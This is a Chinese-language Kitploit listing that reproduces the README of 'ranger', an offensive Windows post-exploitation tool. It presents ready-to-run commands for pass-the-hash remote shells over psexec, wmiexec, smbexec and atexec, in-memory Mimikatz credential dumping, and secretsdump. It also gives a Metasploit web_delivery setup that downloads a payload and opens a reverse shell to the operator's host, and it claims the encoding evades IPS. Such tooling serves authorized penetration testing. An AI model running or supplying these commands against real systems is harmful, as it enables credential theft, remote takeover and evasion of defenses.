Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ranger — 一款供安全专业人员访问和交互远程基于Microsoft Windows系统的工具。 | Kitploit
工具/GitHubGitHub/funkandwagnalls/ranger
Payload生成漏洞利用横向移动后渗透利用渗透测试命令与控制
GitHubfunkandwagnalls/ranger

ranger

一款供安全专业人员访问和交互远程基于Microsoft Windows系统的工具。

查看仓库
4318248年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

ranger

一个支持安全专业人员访问和与远程基于Microsoft Windows系统交互的工具。

这个项目的构思源于这样的想法:我们并没有发明弓箭,只是找到了一种更高效的用法。

Ranger是一个命令行驱动的攻击和渗透测试工具,能够使用实例化的投石车服务器向Windows系统投送能力。只要用户拥有一组凭据或哈希集(NTLM、LM、LM:NTLM),就可以访问信任范围内的系统。

利用这一能力,安全专业人员可以从内存中提取明文凭据、访问SAM表、运行命令、执行PowerShell脚本、Windows二进制文件以及其他工具。目前,该工具能够绕过大多数IPS厂商的解决方案,除非这些方案经过定制调整以检测它。该工具是在我们的家庭实验室中开发的,旨在支持安全专业人员从事合法和/或合同授权的活动。

更多功能正在添加中,但目前该工具使用了来自PowerShell PowerView、PowerShell Mimikatz和Impacket团队相关仓库的社区贡献。

管理Ranger:

安装:

root@kitploit:~
wget https://raw.githubusercontent.com/funkandwagnalls/ranger/master/setup.sh
chmod a+x setup.sh
./setup.sh
rm setup.sh

更新:

root@kitploit:~
ranger --update

使用:

  • Ranger使用方法和攻击的组合,方法用于投送攻击/命令
  • 攻击是你想要实现的目标
  • 有些项目同时是方法和攻击,而某些方法由于库或协议的当前限制,无法使用某些攻击

方法与攻击:

root@kitploit:~
--scout
--secrets-dump

方法:

root@kitploit:~
--wmiexec
--psexec
--smbexec
--atexec

攻击:

root@kitploit:~
--command
--invoker
--downloader
--executor
--domain-group-members
--local-group-members
--get-domain-membership
--get-forest-domains
--get-forest
--get-dc
--find-la-access

命令执行:

查找登录用户:

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] --scout

SMBEXEC命令Shell:

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --smbexec -q -v -vv -vvv

PSEXEC命令Shell:

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -q -v -vv -vvv

PSEXEC命令执行:

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -c "Net User" -q -v -vv -vvv

WMIEXEC命令执行:

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec -c "Net User"

WMIEXEC PowerShell Mimikatz内存注入器:

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker

WMIEXEC Metasploit web_delivery 内存注入器(需要Metasploit配置,见下文):

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader

WMIEXEC自定义代码内存注入器:

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -c -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds"

ATEXEC命令执行:

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --atexec -c "Net User" --no-encoder

ATEXEC PowerShell Mimikatz内存注入器:

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker --no-encoder

ATEXEC Metasploit web_delivery 内存注入器(需要Metasploit配置,见下文):

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader --no-encoder

ATEXEC自定义代码内存注入器:

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds" --no-encoder

SECRETSDUMP自定义代码内存注入器:

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --secrets-dump

创建可粘贴的Mimikatz攻击:

root@kitploit:~
ranger.py --invoker -q -v -vv -vvv

创建可粘贴的web_delivery攻击(需要Metasploit配置,见下文):

root@kitploit:~
ranger.py --downloader -q -v -vv -vvv

创建可粘贴的Executor攻击:

root@kitploit:~
ranger.py --executor -q -v -vv -vvv

识别组成员和域

  • 在识别组时,请确保使用--get-domain-membership确定实际的查询域
  • 然后,当查询组时,使用可选的--domain,这允许你针对与登录时不同的域进行查询
root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --get-domain-membership
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --domain "Domain.local2"

使用说明:

凭据文件格式:

  • 你可以按照以下格式在同一个文件中传递用户名和密码或哈希列表:
root@kitploit:~
username password
username LM:NTLM
username :NTLM
username **NO PASSWORD**:NTLM
PWDUMP
username PWDUMP domain
username password domain
username LM:NTLM domain
username :NTLM  domain
username **NO PASSWORD**:NTLM domain
PWDUMP domain
username PWDUMP domain

凭据文件注意事项:

  • 如果在文件中提供了域名,它们将替代默认的WORKGROUP。
  • 如果通过命令行-d提供域名,则会忽略文件中的所有域名。

命令行执行:

  • 如果不想使用文件,可以直接通过命令行传递详细信息。
  • 如果你想提供哈希代替密码,只需通过密码参数传递它们。
  • 如果它们是PWDUMP格式且没有提供用户名,则会从哈希中提取用户名。
  • 如果提供了用户名,则会认为相同的哈希适用于不同的用户。
  • 密码使用以下格式:
root@kitploit:~
password
LM:NTLM
:NTLM
PWDUMP

目标和排除项:

  • 目标和排除项可以同时使用

目标、目标范围、目标CIDR、目标列表、NMAP XML目标:

  • 你可以通过目标列表或目标选项提供目标列表。
  • 你可以通过逗号分隔提供多个目标列表文件,工具会汇总数据并去重,然后排除默认接口或指定接口的IP地址。
  • 工具接受CIDR表示法、小范围(192.168.195.1-100)或大范围(192.168.194.1-192.163.1.1)或单个IP地址。
  • 同样,只需在命令行中用逗号分隔它们,或者放入换行符分隔的文件中。
  • Nmap XML也可用于定位系统,同样可以用逗号分隔
  • 工具在定位目标前会规范化并去除重复项
  • 示例:-t 192.168.195.1-100,192.168.195.200-192.168.198.3 -tl list1,list2,lis3 -tnX scan1.xml,scan2.xml

排除项、排除范围、排除CIDR、排除列表、Nmap XML排除项:

  • 你也可以使用排除参数来排除目标,这样如果你不想碰一个Class A中的一个小Class C,它会自动处理。
  • 排除项的操作方式与目标完全相同,只需将命令中的 t 替换为 e 即可
  • 示例:-e 192.168.195.1-100,192.168.195.200-192.168.198.3 -el list1,list2,lis3 -enX scan1.xml,scan2.xml

入侵防御系统 (IPS):

  • Mimikatz、Downloader和Executor通过调用其他服务和协议使用PowerShell内存注入。
  • 这些命令经过双重编码,能够绕过当前的IPS解决方案(甚至是下一代),除非这些方案经过专门调整以捕获这些攻击。
  • ATEXEC是目前唯一一个落地到磁盘且不编码的,我还有一些重构工作要做。

Invoker攻击:

  • 在目标主机上执行PowerShell Mimikatz
  • 默认函数/cmdlet为Invoke-Mimikatz,可通过-f更改
  • 默认参数为DumpCreds,可通过-a更改
  • Invoker需要同时使用-f和-a选项来更改命令,如果你想避免使用-a,可以使用Executor
  • 示例:-x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"

Executor攻击:

  • 允许你在目标主机上运行二进制文件和/或PowerShell脚本
  • 脚本或二进制文件必须位于攻击机上当前目录
  • 脚本或二进制文件将直接注入内存
  • 需要使用-x标识载荷(二进制或脚本)
  • 需要使用-f定义函数/cmdlet/参数
  • 如果工具需要,可以选择使用-a进一步定义命令
  • 示例1:-x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"
  • 示例2:-x "im.ps1" -f "Invoke-Mimikatz -DumpCreds

Downloader (web_delivery) 攻击:

  • 要设置Metasploit用于web_delivery利用,启动Metasploit并配置利用以满足以下条件。
root@kitploit:~
use exploit/multi/script/web_delivery
set targets 2
set payload <choose your desired payload>
set lhost <your IP>
set lport <port for the shell make sure it is not a conflicting port>
set URIPATH /
set SRVPORT <the same as what is set by the -r option in ranger, defaults to 8888>
exploit -j

##常见问题

###SMBEXEC和WMIEXEC的访问拒绝错误 我在属于WORKGROUP的Windows机器上遇到访问拒绝错误。

当不属于域时,Windows默认没有管理共享。SMBEXEC依赖于共享已启用。此外,在WORKGROUP机器上WMIC未启用。SMBEXEC和WMIEXEC是针对域系统上启用的协议设计的。虽然可以在WORKGROUP系统上启用这些功能,但请注意你是在引入易受攻击的协议(毕竟这正是该工具所要攻击的)。在你主要家庭成员用于Facebook等用途的主系统上启用这些功能可能不是最佳选择。

  • 确保这是你拥有的测试机。你可以按照这里的说明强制启用共享:http://www.wintips.org/how-to-enable-admin-shares-windows-7/
  • 如果你想确定暴露了哪些共享然后进行针对,可以使用像enum4linux这样的工具,然后在ranger中使用--share share_name参数尝试执行SMBEXEC。

##未来特性: ###彩色输出:

  • 继续使用https://pypi.python.org/pypi/colorama添加彩色输出
  • WINDOWER – 执行PowerShell时不隐藏窗口以避免某些监控系统
  • GATHERER – 针对域组的自动凭据提取器
  • HUNTER - 半智能决策(SID) – 使用分类树基于组成员关系相似性识别提升路径
  • 更好的NTDS和组解析
  • SMB投石车服务器

#致谢:

  • 感谢Microsoft提供PowerShell(以及预先感谢Windows中的bash!)
  • 感谢CoreLabs Impacket团队
  • 感谢PowerShellEmpire团队
  • 感谢Mattifestation发起PowerSploit和PowerShellMafia,以及贡献者们的持续开发
  • 感谢我们的朋友和社区提供的建设性社区

发表于:

BSides Charm City 2016: 2016年4月23日

演讲视频:

Video

该工具所属的发行版:

Black Arch Linux

下载工具